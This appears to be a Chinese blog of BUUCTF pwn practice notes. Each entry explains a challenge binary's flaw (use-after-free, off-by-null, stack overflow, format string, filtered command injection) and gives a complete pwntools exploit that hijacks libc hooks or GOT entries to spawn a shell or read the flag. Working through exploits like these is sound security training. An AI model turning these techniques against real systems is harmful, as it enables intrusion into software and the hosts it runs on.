BUUCTF 刷题笔记 --pwn


此文记录笔者在buuctf平台的刷题记录 (持续更新)

ciscn_es_1

libc2.27 有tcache

漏洞点:UAF

利用思路:add 一个大于0x410的chunk free掉,unsorted bin 泄露libc

tcache dup 打free_hook 为system

exp:

from pwn import *
#p = process('./ciscn_2019_es_1')
p = remote('node3.buuoj.cn',25313)
libc = ELF('./libc-2.27.so')
#elf = ELF('./ciscn_2019_es_1')
#libc = elf.libc
def add(size,name,call):
    p.sendlineafter('choice:','1')
    p.sendlineafter("Please input the size of compary's name",str(size))
    p.sendafter('please input name:',name)
    p.sendafter('please input compary call:',call)

def show(index):
    p.sendlineafter('choice:','2')
    p.sendlineafter('Please input the index:',str(index))
    
def call(index):
    p.sendlineafter('choice:','3')
    p.sendlineafter('Please input the index:',str(index))

add(0x410,'aaaa','aa')
add(0x20,'bbbb','bb')
add(0x50,'/bin/sh\x00','cc')
call(0)
show(0)
#gdb.attach(p)
p.recvuntil('name:\n')
main_arena = u64(p.recv(6).ljust(8,'\x00'))-96
success('main_arena:'+hex(main_arena))
libc_base = main_arena - 0x10 -libc.sym['__malloc_hook']
success('libc_base:'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
success('free_hook'+hex(free_hook))
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.symbols['system']
success('system:'+hex(system))
one = 0x10a38c + libc_base
call(1)
call(1)
add(0x20,p64(free_hook),'dd')
add(0x20,'z2yh','z2yh')
add(0x20,p64(system),'ee')
#gdb.attach(p)
#p.sendlineafter('choice:','1')
call(2)
p.interactive()

ciscn_s_4

伪代码:

  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  read(0, &s, 0x30u);
  printf("Hello, %s\n", &s);
  read(0, &s, 0x30u);
  return printf("Hello, %s\n", &s);

32位程序,两个read在同一个地方,都只溢出8字节,考虑栈溢出

利用方法:

第一次read泄露栈地址

第二次输入先构造ROP链,再栈迁移到rop链处

exp:

from pwn import *
#context.log_level = 'debug'
elf = ELF('./ciscn_s_4')
#p = process('./ciscn_s_4')
p = remote('node3.buuoj.cn', 26151)
#gdb.attach(p)
sys=0x08048400
leave=0x8048562
pl1 = 'a'*0x24+'b'*4
p.send(pl1)
p.recvuntil('b'*4)
ebp = u32(p.recv(4)) - 0x10
print hex(ebp)
buf = ebp - 0x28
pl2 = ('a'*4+p32(sys)+p32(0xdeadbeef)+p32(buf+16)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf)+p32(leave)
p.send(pl2)
p.interactive()

buuoj -[BJDctf2nd test]

题目要求ssh连接

ssh -p 28232 ctf@node3.buuoj.cn

test.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
    char cmd[0x100] = {0};
    puts("Welcome to Pwn-Game by TaQini.");
    puts("Your ID:");
    system("id");
    printf("$ ");
    gets(cmd);
    if( strstr(cmd, "n")
       ||strstr(cmd, "e")
       ||strstr(cmd, "p")
       ||strstr(cmd, "b")
       ||strstr(cmd, "u")
       ||strstr(cmd, "s")
       ||strstr(cmd, "h")
       ||strstr(cmd, "i")
       ||strstr(cmd, "f")
       ||strstr(cmd, "l")
       ||strstr(cmd, "a")
       ||strstr(cmd, "g")
       ||strstr(cmd, "|")
       ||strstr(cmd, "/")
       ||strstr(cmd, "$")
       ||strstr(cmd, "`")
       ||strstr(cmd, "-")
       ||strstr(cmd, "<")
       ||strstr(cmd, ">")
       ||strstr(cmd, ".")){
        exit(0);    
    }else{
        system(cmd);
    }
    return 0;
}

输入一个字符串,然后system执行。

过滤了很多字符:

n|e|p|b|u|s|h|i|f|l|a|g|||/|$|`|-|<|>|.

exp:

x86_64

点评:

这个是真的没想到,x86_64在博客上找到了这么一段解释

The execution domains currently only affects the output of uname -m.For example, on an AMD64 system, running setarch i386 program will.cause program to see i686 instead of x86_64 as the machine type. It also allows to set various personality options. The default program is /bin/sh.

我只能说:牛的

hitcontraining - magicheap

利用思路:unsortbin attack

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
libc = ELF('libc-2.23.so')
select = 0
ip = 'node3.buuoj.cn'
port = 29831
if select:
   io = process('./magicheap')
else:
   io = remote(ip,port)

def add(size,content):
    io.sendlineafter('Your choice :','1')
    io.sendlineafter('Size of Heap :',str(size))
    io.sendafter('Content of heap:',content)
    
def edit(idx,size,content):
    io.sendlineafter('Your choice :','2')
    io.sendlineafter('Index :',str(idx))
    io.sendlineafter('Size of Heap :',str(size))
    io.sendafter('Content of heap :',content)

def delete(idx):
    io.sendlineafter('Your choice :','3')
    io.sendlineafter('Index :',str(idx))
magic = 0x6020A0
add(0x10,'a')
add(0x90,'b')
add(0x10,'c')
delete(1)
payload = '\x00'*0x18+p64(0xa0)+p64(0)+p64(magic-0x10)
edit(0,len(payload),payload)
#gdb.attach(io)
add(0x90,'d')
io.sendlineafter('Your choice :','4869')
io.interactive()

hitcontraining - bamboobox (需补充exp)

存在堆溢出,打Top_chunk,house of froce 把后门放入函数指针内

但是buu的远程环境里没有/home/bamboobox/flag 这个目录,所以 house of force 打不通

最后用unlink拿的shell

house of force:

from pwn import*
context.log_level = 'debug'
select = 1
ip = 'node3.buuoj.cn'
port = 29694
if select:
   io = process('./bamboobox')
else:
   io = remote(ip,port) 

def menu(idx):
    io.sendlineafter('Your choice:',str(idx))
def show():
    menu(1)
def add(size,content):
    menu(2)
    io.sendlineafter('Please enter the length of item name:',str(size))
    io.sendafter("Please enter the name of item:",content)    
def edit(idx,size,content):
    menu(3)
    io.sendlineafter('Please enter the index of item:',str(idx))
    io.sendlineafter('Please enter the length of item name:',str(size))
    io.sendafter("Please enter the new name of the item:",content)
def delete(idx):
    menu(4)
    io.sendlineafter('Please enter the index of item:',str(idx))
magic = 0x400D49
add(0x30,'a')
payload = 0x38 * 'a'
payload +=  p64(0xffffffffffffffff)
edit(0,0x40,payload)
offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0x10
add(-0x70,'aaaa')
#gdb.attach(io)
add(0x10,'a'*8+p64(magic))
menu(5)
#gdb.attach(io)
io.interactive()

unlink:

from pwn import*
context.log_level = 'debug'
select = 0
ip = 'node3.buuoj.cn'
port = 25416
libc = ELF('libc-2.23.so')
if select:
   io = process('./bamboobox')
else:
   io = remote(ip,port) 

def menu(idx):
    io.sendlineafter('Your choice:',str(idx))
def show():
    menu(1)
def add(size,content):
    menu(2)
    io.sendlineafter('Please enter the length of item name:',str(size))
    io.sendafter("Please enter the name of item:",content)    
def edit(idx,size,content):
    menu(3)
    io.sendlineafter('Please enter the index of item:',str(idx))
    io.sendlineafter('Please enter the length of item name:',str(size))
    io.sendafter("Please enter the new name of the item:",content)
def delete(idx):
    menu(4)
    io.sendlineafter('Please enter the index of item:',str(idx))

ptr=0x6020C8
add(0x40,'a')#0
add(0x80,'b')#1
add(0x80,'c')#2
#gdb.attach(io)
payload=p64(0)+p64(0x41)+p64(ptr-0x18)+p64(ptr-0x10)+'\x00'*0x20+p64(0x40)+p64(0x90)
edit(0,len(payload),payload)
delete(1)
#gdb.attach(io)
payload = p64(0)*2 + p64(0x40) + p64(0x602068)#atoi => got
edit(0,len(payload),payload)
#gdb.attach(io)
show()
io.recvuntil("0 : ")
atoi_addr = u64(io.recvuntil(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
log.info("libc:"+hex(libcbase)) 
system_addr = libcbase + libc.symbols['system']
log.info("system:"+hex(libcbase)) 
edit(0,8,p64(system_addr))
#gdb.attach(io)
io.recvuntil(':')
io.sendline('sh')
io.interactive()

ciscn_final_5

来源:buuctf

  • 常见的菜单题,无show,没开PIE,got表可写
  • libc2.27 tcache
  • 管理idx的方式存在漏洞,可造成0x10字节的溢出

add

__int64 add()
{
  __int64 result; // rax
  signed int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  int idx; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  __int64 v5; // [rsp+18h] [rbp-8h]

  printf("index: ");
  idx = read_input();
  if ( idx < 0 || idx > 16 )
  {
    puts("index is invalid.");
    exit(-1);
  }
  printf("size: ");
  v2 = read_input();
  if ( v2 < 0 || v2 > 0x1000 )
  {
    puts("size is invalid.");
    exit(-1);
  }
  buf = malloc(v2);
  if ( !buf )
  {
    puts("malloc error.");
    exit(-1);
  }
  printf("content: ");
  read(0, buf, v2);
  show_lot_12_bits(buf);
  result = and(buf, idx);
  v5 = result;
  for ( i = 0; i <= 16; ++i )
  {
    result = heaparray[i];
    if ( !result )
    {
      heaparray[i] = v5;
      result = i;
      size[i] = v2;
      break;
    }
  }
  if ( i == 17 )
  {
    puts("heap note is full.");
    exit(-1);
  }
  return result;
}

delete

int delete()
{
  int result; // eax
  signed int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  result = read_input();
  v2 = result;
  if ( result < 0 || result > 16 )
  {
    puts("index is invalid.");
    exit(-1);
  }
  for ( i = 0; i <= 16; ++i )
  {
    result = get_low_bits(heaparray[i]);
    if ( result == v2 )
    {
      free((heaparray[i] & 0xFFFFFFFFFFFFFFF0LL));
      heaparray[i] = 0LL;
      size[i] = 0;
      result = puts("free success.\n");
      break;
    }
  }
  if ( i == 17 )
  {
    puts("free is invalid.");
    exit(-1);
  }
  return result;
}

edit

int edit()
{
  int result; // eax
  signed int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  result = read_input();
  v2 = result;
  if ( result < 0 || result > 16 )
  {
    puts("index is invalid.");
    exit(-1);
  }
  for ( i = 0; i <= 16; ++i )
  {
    result = get_low_bits(heaparray[i]);
    if ( result == v2 )
    {
      printf("content: ");
      read_0((heaparray[i] & 0xFFFFFFFFFFFFFFF0LL), size[i]);
      result = puts("edit success.\n");
      break;
    }
  }
  if ( i == 17 )
  {
    puts("edit is invalid.");
    exit(-1);
  }
  return result;
}

heaparray使用堆地址的末位来记录idx

问题出在heaparray的容量为17,当idx等于16的时候,0x260 | 0x10 = 0x270,导致溢出到下一个堆块的fd中(pre_size位的复用)

直接打heaparray开始布置,改free_got为puts_plt ,泄露puts地址 leak libc,最后改atoi_got为system

值得注意的是需要留意末位,适当减一些数去设置idx

exp:

from pwn import *
p = process('./ciscn_final_5')
context.log_level = 'debug'
ip = 'node3.buuoj.cn'
port = 29525
elf = ELF('./ciscn_final_5')
#libc = elf.libc
p = remote(ip,port) 
libc = ELF('./libc.so.6')

def menu(idx):
    p.sendlineafter("your choice: ",str(idx))
def add(idx,size,content):
    menu(1)
    p.sendlineafter('index: ',str(idx))
    p.sendlineafter("size: ",str(size))
    p.sendafter("content: ",content)

def delete(idx):
    menu(2)
    p.sendlineafter('index: ',str(idx))

def edit(idx,content):
    menu(3)
    p.sendlineafter('index: ',str(idx))
    p.sendafter("content: ",content)
heap = 0x603000 #heap_base
heaparray = 0x6020E0
sizearray = 0x602180
free_got  = 0x602018
puts_plt = 0x400790
puts_got = 0x602020
atoi_got = 0x602078
add(16,0x18,'a')
add(1,0x60,'b')
add(2,0x20,'c')
delete(1)
edit(0,p64(0)+p64(0x71)+p64(heaparray))
add(3,0x60,'d')
add(4,0x60,'e')
edit(4,p64(atoi_got)+p64(heaparray+4)+p64(free_got-1)+p64(puts_got))
edit(7,p64(puts_plt)*2) #free_got => puts_plt
delete(0)
puts = u64(p.recv(6).ljust(8,'\x00')) 
log.success('LEAK puts:\t'+hex(puts))
libc_base = puts - libc.sym['puts']
log.success('LIBC:\t'+hex(libc_base))
system = libc_base + libc.sym['system']
log.success('System:\t'+hex(system))
edit(8,p64(system)*2)
menu('/bin/sh\x00')
#gdb.attach(p)
p.interactive()

ciscn_final_2

  • 因为最新版的libc2.27 tcache dup被修复了,所以需要先更换一下libc去解决该问题,再进行调试

  • 可以申请两种堆块 int(0x20)和 short int(0x10)

  • 两种堆块使用同一个标志位,可申请另一种堆块造成double free

  • 由于开了沙盒,只能读flag,在ida中可以看到flag的fd为666,我们读flag的思路就是去打_IO_2_1_stdin中的fileno,scanf会打开stdin,调用printf中的格式化字符串时会读取fileno中的文件,默认fileno的值为0。

    利用思路

  • 因为存在double free 我们申请很多个堆块,可以使用double free去劫持chunk header,造成overlap,从而构造大堆块

  • 制造unsorted bin的方法,就是用一直free(使用add第二种堆块将其绕过),将tcache填满,就有unsorted bin

  • 核心就是构造堆布局,造成块堆叠

exp:

from pwn import *
#p = process('./ciscn_final_2')
p = remote('node3.buuoj.cn',26314)
elf = ELF('./ciscn_final_2')
libc = elf.libc
#context.log_level = 'debug'
def menu(idx):
    p.sendlineafter('>',str(idx))
def add(add_type, add_num):
    menu(1)
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
    p.sendafter('your inode number:', str(add_num))
 
def remove(remove_type):
    menu(2)
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))
 
def show(show_type):
    menu(3)
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
    if show_type == 1:
        p.recvuntil('your int type inode number :')
    elif show_type == 2:
        p.recvuntil('your short type inode number :')
    return int(p.recvuntil('\n', drop=True))
 
add(1,0x30)
remove(1)
add(2,0x20)#0x30   fake size
add(2,0x20)#0x30
add(2,0x20)#0x30
add(2,0x20)#0x30
remove(2)
add(1,0x30)
remove(2)
#gdb.attach(p)
addr_chunk0_prev_size = show(2) - 0xa0# attack chunk header 打int_ptr的header
log.info('prev_size:\t'+hex(addr_chunk0_prev_size))
#gdb.attach(p)
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
#gdb.attach(p)
add(2, 0x91)# 劫持int_ptr的size 
#gdb.attach(p)
for i in range(0,7):#make tcache full 
    remove(1)
    add(2, 0x20)
remove(1)
main_arena = show(1) - 96
log.info('arena:\t'+hex(main_arena))
libc_base = main_arena - libc.sym['__malloc_hook']-0x10
log.info('libc_base:\t'+hex(libc_base))
fileno = libc_base + libc.sym['_IO_2_1_stdin_']+0x70
log.info('stdin=>fileno:\t'+hex(fileno))
#gdb.attach(p)
add(1,fileno) 
#gdb.attach(p)
add(1,0x30)
remove(1)
add(2,0x20)
remove(1)
fd = show(1)-0x30 
add(1,fd)
add(1,0x30)
add(1,0x30)
add(1,666)
menu(4)
p.recvuntil('your message :')
flag = p.recvuntil('}')
log.success('FLAG:\t'+flag)
p.interactive()

roarctf_realloc_magic

程序分析:

  • realloc和free存在uaf

考点:tcache dup填满tcache , 爆破stdout泄漏libc,realloc的实现

大致思路是利用realloc构造堆布局,造成overlap,爆破stdout泄漏libc

然后故技重施打free_hook为system
exp:

from pwn import*
#p = process('./roarctf_2019_realloc_magic')
elf = ELF('./roarctf_2019_realloc_magic') 
libc = ELF('./libc-2.27.so')
#context.log_level = 'debug'
def menu(idx):
    p.sendlineafter('>>',str(idx))

def realloc(size,content):
    menu(1)
    p.sendlineafter('Size?',str(size))
    p.sendafter('Content?',content)

def free():
    menu(2)

def gift():
    menu(666)
    
def pwn():
    realloc(0x70,'a')
    realloc(0,'')
    realloc(0x100,'b')
    realloc(0,'')
    realloc(0xa0,'c')
    realloc(0,'')
    realloc(0x100,'b')
    #gdb.attach(p)
    for i in range(7):
        free()
    realloc(0,'a')
    realloc(0x70,'a')
    realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0xe7))#overlap
    #这里解释一下为什么size位是0x41,如果不改size,我们再申请的时候都是        
    #realloc之后再free,如果是同一块内存,会导致
    #gdb.attach(p)
    realloc(0,'a')
    realloc(0x100,'a')
    realloc(0,'a')
    realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))#get stdout
#gdb.attach(p)
    leak = u64(p.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,'\x00'))
    log.info('_IO_file_jumps:\t'+hex(leak))#io_file_jump
#gdb.attach(p)
    if leak == 0:
       exit(-1)
    libc_base = leak - libc.sym['_IO_file_jumps']
    log.info('LIBC:\t'+hex(libc_base))
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base +libc.sym['system']
    gift()
    realloc(0x120,'a')
    realloc(0,'')
    realloc(0x130,'a')
    realloc(0,'')
    realloc(0x170,'a')
    realloc(0,'')
    realloc(0x130,'a')
    [free() for i in range(7)]
    realloc(0,'')
    realloc(0x120,'a')
    realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook-8))
    realloc(0,'')
    realloc(0x130,'a')
    realloc(0,'')
    realloc(0x130,'/bin/sh\x00'+p64(system))
    free() 
#gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    while True:
        p = remote('node3.buuoj.cn',29316)
        try:
            pwn()
        except:
            p.close()

第二次打free_hook的时候和第一次原理是一样的,重点要理解0x41和后面的大堆块防止top_chunk被合并

npuctf_2020_easyheap

来源:buuctf

环境:Ubuntu18

题目简述:

  • 没开pie,got表可写

  • 常规菜单题,在申请堆的时候同时会使用结构体(0x10)记录下size和堆块地址,create只能申请0x18和0x38两种堆,存在off-by-one

利用思路

  • 利用off-by-one制造overlap,造成块堆叠,控制记录堆块信息的结构体,造成任意地址读和任意地址写(恰好0x18的堆加0x10的堆加起来就是0x38)
  • 改atoi_got为system,getshell

exp:

from pwn import*
elf = ELF('./npuctf_2020_easyheap')
#context.log_level = 'debug'
ip = 'node3.buuoj.cn'
port = 27053
select = 0
if select:
   p = process('npuctf_2020_easyheap')
   libc = elf.libc
else:
   p = remote(ip,port)
   libc = ELF('./libc-2.27.so')
def menu(idx):
    p.sendlineafter('Your choice :',str(idx))

def add(size,content):
    menu(1) 
    p.sendlineafter("Size of Heap(0x10 or 0x20 only) : ",str(size))
    p.sendafter("Content:",content)
def edit(idx,content):
    menu(2)
    p.sendlineafter("Index :",str(idx))
    p.sendafter('Content:',content)
def show(idx):
    menu(3)
    p.sendlineafter("Index :",str(idx))
def free(idx):
    menu(4)
    p.sendlineafter("Index :",str(idx))   
    
heaparray = 0x6020a0
atoi_got = 0x602058
add(0x18,p64(0x21)+p64(atoi_got))#0
add(0x18,'a')#1
add(0x18,'a')#2
edit(1,'b'*0x18+p8(0x41))
free(2)
add(0x38,'c'*0x18+p64(0x21)+p64(0x21)+p64(atoi_got))#2
#gdb.attach(p)
show(2)
atoi = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) 
log.info('atoi:\t'+hex(atoi))
libc_base = atoi - libc.sym['atoi']
system = libc_base + libc.sym['system']
log.info('libc:\t'+hex(libc_base))
log.info('system:\t'+hex(system))
#gdb.attach(p)
edit(2,p64(system))
menu('/bin/sh\x00')
p.interactive()

BJDCTF 2nd rci

在/tmp下随机创建了50个目录,随机进入一个目录下,有一次命令执行的机会,过滤了很多的字符,能用的命令就只有ls,然后输入绝对目录通过检测,就可以进入第二次命令执行(有过滤)

解题思路:

第一次system命令执行

ls -ali #查看inode号

开多一个shell

ls -ali /tmp #查看/tmp目录下的inode

找到对应inode号即可,第二次命令执行

$0 #相当于/bin/sh

[SWPUCTF_2019_p1KkHeap]

程序分析:

  • 常规菜单堆,存在uaf,delete之后不能edit,但是可以show

  • delete只能用3次,最多操作18次

  • 程序在开始时mmap了一块内存可以rwxp

利用思路:

double free 配合show泄漏堆地址,打tcache结构体,构造unsorted bin 和 tcache poisning,在mmap的地址上写入orw的shellcode,让malloc_hook指向shellcode的地址

值得注意的是:在编写shellcode的过程中,应当先设置

context(log_level = 'debug', arch = 'amd64', os = 'linux')

不然shellcode跑起来会出问题

exp:

from pwn import*
#p = process('./kkheap')
p = remote('node3.buuoj.cn',29608)
elf = ELF('./kkheap')
libc = elf.libc
context(log_level = 'debug', arch = 'amd64', os = 'linux')
def menu(idx):
    p.sendlineafter('Your Choice:',str(idx))
def add(size):
    menu(1)
    p.sendlineafter('size:',str(size))
def show(idx):
    menu(2)
    p.sendlineafter('id:',str(idx))
def edit(idx,content):
    menu(3)
    p.sendlineafter('id:',str(idx))
    p.sendafter('content:',content)
def delete(idx):
    menu(4)
    p.sendlineafter('id:',str(idx))

add(0x100)#0
add(0x100)#1
delete(0)
delete(0)
show(0)
p.recvuntil('content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x260
log.info('heap_base:\t'+hex(heap_base))
add(0x100)#2
edit(2,p64(heap_base+0x10))
#gdb.attach(p)
add(0x100)#3
add(0x100)#4
edit(4,'\x00'*15+'\x07')
delete(0)
show(0)
p.recvuntil('content: ')
malloc_hook = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x10
log.info('malloc_hook:\t'+hex(malloc_hook))
edit(4,'\x00'*15+'\x07'+p64(0)*14+p64(0x66660000)+p64(malloc_hook))
#gdb.attach(p)
payload = shellcraft.open("flag")
payload += shellcraft.read(3,0x66660300,64)
payload += shellcraft.write(1,0x66660300,64)
add(0x90)#5
edit(5,asm(payload))
add(0xa0)#6
sleep(0.1)
edit(6,p64(0x66660000))
#gdb.attach(p)
add(0x90)
#sleep(0.1)
p.interactive()

de1ctf_2019_weapon

libc2.23,菜单题没有show,爆破IO_FILE去泄露libc,然后double free打malloc_hook.

注意一下堆风水,把unsorted binfd的末两个字节踩掉,打IO_FILE。

exp:

from pwn import *
#context.log_level = 'debug'
proc = 'de1ctf_2019_weapon'
elf = ELF(proc)
libc = elf.libc

def menu(idx):
    p.sendlineafter('>> ',str(idx))
def add(size,idx,content):
    menu(1)
    p.sendlineafter('size of weapon: ',str(size))
    p.sendlineafter('index: ',str(idx))
    p.sendafter('name:',content)
def delete(idx):
    menu(2)
    p.sendlineafter('idx :',str(idx))
def rename(idx,content):
    menu(3)
    p.sendlineafter('idx: ',str(idx))
    p.sendafter('new content:',content)
def pwn():
    add(0x20,0,p64(0)*3+p64(0x31))
    add(0x20,1,'ptr')
    add(0x60,2,'ptr')
    add(0x20,3,'ptr')
    delete(0)
    delete(3)
    rename(3,'\x20')
#    gdb.attach(p)   
    add(0x20,4,'a')
    add(0x20,4,p64(0)+p64(0xa1))
    delete(1)
    delete(2)
    add(0x20,4,'ptr')
    rename(2,'\xdd\x25')
#    gdb.attach(p)
    add(0x60,5,'ptr')
#    gdb.attach(p)
    payload = '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
    add(0x60,5,payload)
    libc_base = u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,'\x00'))-192-libc.sym['_IO_2_1_stderr_']
    log.info('libc:\t'+hex(libc_base))
    add(0x60,6,'ptr')
    add(0x60,7,'ptr')
    delete(6)
    delete(7)
    delete(6)
    add(0x60,8,p64(libc_base+libc.sym['__malloc_hook']-0x23))
    add(0x60,2,'ptr')
    add(0x60,3,'ptr')
    add(0x60,4,'\x00'*0x13+p64(0xf1207+libc_base))
    menu(1)
    p.sendlineafter('size of weapon: ',str(0x10))
    p.sendlineafter('index: ',str(0))
    p.interactive()

if __name__ == '__main__':
   while(True):
       try:
         p  = remote('node3.buuoj.cn',27781)  
         pwn()
       except Exception as e:
         p.close()
         continue 

sctf_2019_easy_heap

开始mmap了一块内存,可读可写可执行

在Fill函数中存在一个off-by-null漏洞,通过off-by-null构造块堆叠,往mmap中写shellcode,劫持malloc_hook为mmap的地址

在buu上是libc2.27的版本,注意堆开大一点(0x400以上)不然会放进tcache里,就没法合并堆块了。

exp:

from pwn import*
proc = "./sctf_2019_easy_heap"
elf = ELF(proc)
libc = elf.libc
context.arch = 'amd64'
context.os = 'linux'
#context.log_level = 'debug'
ip = 'node3.buuoj.cn'
port = 28431
p = remote(ip,port)
#p = process(proc)
def menu(idx):
    p.sendlineafter('>>',str(idx))
def add(size):
    menu(1)
    p.sendlineafter('Size: ',str(size))
def delete(idx):
    menu(2)
    p.sendlineafter('Index: ',str(idx))
def edit(idx,content):
    menu(3)
    p.sendlineafter('Index: ',str(idx))
    p.sendafter('Content: ',content)
shellcode = asm(shellcraft.sh())
p.recvuntil("Mmap: ")
mmap = int(p.recvuntil("\n",drop=True),16)
log.info('mmap:\t'+hex(mmap))
add(0x410)
p.recvuntil("Address 0x")
base_addr = int(p.recvline().strip(),16) - 0x202068
add(0x68)
add(0x4f0)
add(0x68)
delete(0)
edit(1,'\x00'*0x60+p64(0x420+0x70))
delete(2) # combine chunk0 and chunk1 with chunk 2 
add(0x410)
add(0x68)
delete(3)
delete(2)
delete(1)
#double free
add(0x68)
edit(1,p64(mmap)+'\n')
add(0x68) # 2
add(0x68) # 3
edit(3,shellcode+'\n')
add(0x4f0)
delete(0) # chunk0 0x410
edit(1,'\x00'*0x60+p64(0x490))
delete(1) # tcache 0x70
delete(4)
add(0x410)
edit(2,'\x30\n')
add(0x68)
add(0x68)
edit(4,p64(mmap) + b'\n')
add(0x68)
p.interactive()

[mrctf2020_easy_equation]

题目很简单,先解那个方程,judge = 2

然后格式化字符串修改judge的值,注意栈对齐即可

from pwn import*
proc = './mrctf2020_easy_equation'
context.log_level = 'debug'
#p = process(proc)
p = remote("node3.buuoj.cn",27605)
judge = 0x60105C
payload='aa'+'%9$n'
payload = payload.ljust(9,'b')
payload +=p64(judge)
p.sendline(payload)
p.interactive() 

踩坑:

payload.ljust(9,'a') #这样的话payload.ljust只能控制返回值,而不能改变payload的值

hitcon_2018_children_tcache

glibc版本2.27的堆题,常规菜单,漏洞点出在add函数中向堆块写入内容的部分

strcpy copy字符串的时候会在最后加一个'\0',造成了堆上的off-by-null。

在free堆块的时候会

memset(heaparray[v1], 0xDA, size[v1]);

再释放堆块,所以就比较难在这方面下手,覆写pre_size位的时候需要一些操作才能写入

for i in range(1,8):# clear the 0xda in  prev_size 
    add(0x68-i,'x'*(0x68-i))
    delete(0)

思路:off-by-null造成堆块overlap,再构造一个double free去打malloc_hook

exp:

from pwn import*
context.log_level = 'debug'
#p = process('./pwn')
p = remote('node3.buuoj.cn',25341)
elf = ELF('./pwn')
libc= ELF('./libc-2.27.so')
def menu(idx):
    p.sendlineafter('Your choice: ',str(idx))
def add(size,content):
    menu(1)
    p.sendlineafter('Size:',str(size))
    p.sendlineafter('Data:',content)
def show(idx):
    menu(2)
    p.sendlineafter('Index:',str(idx))
def delete(idx):
    menu(3)
    p.sendlineafter('Index:',str(idx))
add(0x410,'a')# 0
add(0x68,'a') # 1
add(0x4f0,'b')# 2
add(0x88,'c') #3
delete(0)
delete(1)
add(0x68,'a'*0x68)
delete(0)
for i in range(1,8):# clear the 0xda in the prev_size of chunk2
    add(0x68-i,'x'*(0x68-i))
    delete(0)

add(0x68,'a'*0x60+p64(0x490))
#gdb.attach(p)
delete(2) #extend unsorted bin
add(0x410,'a') # 1
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
log.info('LIBC:\t'+hex(libc_base))
add(0x68,'b')  # uaf
#add(0x4f0,'c')
delete(0)
delete(2)
add(0x68,p64(libc_base+libc.sym['__malloc_hook']))
add(0x68,'ptr\n')
add(0x68,p64(0x4f322+libc_base))
#gdb.attach(p)
menu(1)
p.sendlineafter('Size:',str(0x10))
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

shanghai2018_baby_arm

一道arm64的pwn题

题目逻辑比较简单,先在bss端上读入一段数据

然后会有一个栈溢出,偏移可以在gdb里调试找出

因为开了nx,所以我们的思路就是先写入shellcode,然后mprotect改权限,执行shellcode

gadget有点难找 ROPgadget找不出好用的,只能自己去看了

在0x4008cc 0x4008ac 0x4007e0处有能控制寄存器的gadget,类似于x86的ret2csu

主要是学习调试arm架构的技巧,本地qemu挂起来然后gdb-multiarch远程连上去

exp

from pwn import *
binary = './pwn'
context.log_level = 'debug'
context.arch = "aarch64"
context.os = "linux"
elf = ELF('./pwn')
mprotect = elf.plt['mprotect']
debug = 1
remote = 0
if remote :
     p = remote("node3.buuoj.cn",29874)
elif debug  :   
     p = process(["qemu-aarch64", "-L","/usr/aarch64-linux-gnu","-g","1234",binary])
else :   
     p = process(["qemu-aarch64", "-L","/usr/aarch64-linux-gnu",binary])

p.recvuntil('Name:')
shellcode = shellcraft.sh()
shellcode = asm(shellcode)
p.send(p64(0x4007e0)+shellcode)
sleep(0.1)
payload = 'a'*0x48+p64(0x4008cc)
payload += p64(0)                              #x29
payload += p64(0x4008ac)                       #x30
payload += p64(0)                              #x19
payload += p64(0)                              #x20
payload += p64(0x411068)                       #x21
payload += p64(7)                              #x22
payload += p64(0x1000)                         #x23
payload += p64(0x411000)                       #x24
payload += p64(0)#p64(0x411068+0x8)
payload += p64(0x411068+0x8)
p.send(payload)
p.interactive()


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM